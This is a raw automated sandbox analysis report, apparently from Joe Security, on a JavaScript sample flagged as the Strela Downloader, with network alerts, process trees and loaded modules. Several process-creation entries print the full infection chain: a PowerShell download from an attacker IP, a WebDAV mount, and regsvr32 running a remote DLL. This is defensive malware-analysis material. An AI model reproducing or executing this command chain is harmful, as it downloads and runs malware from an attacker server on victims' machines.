Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: 241.42.69.40.in-addr.arpa

Source: wscript.exe, 00000000.00000002.2055887504.0000011C90B49000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2055887504.0000011C90B6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2118241566.000002EDC9CB2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117553734.000002EDC9CC1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117978230.000002EDC9C88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2118241566.000002EDC9CDD000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117553734.000002EDC9CB2000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2117488117.000002EDC9CDB000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2118241566.000002EDC9CC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2117978230.000002EDC9C88000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/space
Source: svchost.exe, 00000009.00000002.3341591378.00000264A2091000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2119294814.00000264A1DB0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4568, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1713990941768710675.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5512

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5268:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2axtqnym.an1.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1713990941768710675.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,2755132955341686743,16738015036419751456,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\140911919013108.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1372,i,2755132955341686743,16738015036419751456,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
